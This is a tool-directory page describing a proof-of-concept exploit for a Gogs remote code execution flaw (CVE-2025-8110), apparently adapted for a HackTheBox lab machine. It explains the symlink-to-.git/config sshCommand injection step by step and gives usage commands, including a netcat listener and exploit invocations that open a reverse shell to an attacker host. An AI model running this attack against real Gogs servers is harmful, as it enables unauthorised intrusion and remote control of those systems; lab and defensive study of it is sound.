Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/ixzodiak/cve-2025-8110
ExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationRed TeamingRemote Access Tool
GitHubixzodiak/cve-2025-8110

CVE-2025-8110

Gogs service Exploit and get the root user

View Repository
1864 months agoNot yet reviewed
Share

CVE-2025-8110 — Gogs RCE PoC (Silentium / HackTheBox)

Disclaimer: This tool is intended strictly for educational purposes and authorized penetration testing. Only use it against systems you have explicit permission to test.


This is a modified version of zAbuQasem/gogs-CVE-2025-8110, adapted to work against the Silentium machine on HackTheBox. The original PoC required adjustments to handle Silentium's specific Gogs configuration and authentication flow.


The Vulnerability

CVE-2025-8110 is a Remote Code Execution vulnerability in Gogs, a self-hosted Git service.

Gogs' file-update API endpoint (PUT /api/v1/repos/.../contents/<file>) does not validate whether the target file is a symlink. An authenticated attacker can push a symlink into a repository that points to .git/config, then use the API to overwrite it with a malicious payload. The payload injects a custom sshCommand into the git config, which Gogs executes server-side the next time it performs an SSH operation on that repository, resulting in remote code execution.


What the PoC Does

  1. Authenticates to Gogs and scrapes a CSRF token from the login page.
  2. Generates a Gogs API token via the user settings page.
  3. Creates a new repository via the API with SSH enabled.
  4. Clones the repo locally, plants a symlink (malicious_link -> .git/config), and pushes it.
  5. Calls the file-update API on the symlink, writing a malicious .git/config that contains sshCommand = <reverse shell>.
  6. Gogs follows the symlink and overwrites its own .git/config, triggering the shell on the next SSH operation.

Usage

Install dependencies:

pip install -r requirements.txt

Start a listener:

nc -lvnp <PORT>

Run the exploit:

python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD>

Optional — route through Burp Suite:

python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD> -x
FlagDescription
-uGogs base URL
-lhYour attacker IP (reverse shell host)
-lpYour listener port
-unYour registered Gogs username
-pwYour Gogs password
-x(Optional) Route traffic through Burp on localhost:8080
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    989
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    576
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    354
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    323
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    315

Explore all tools

Browse our collection of tools

View all tools →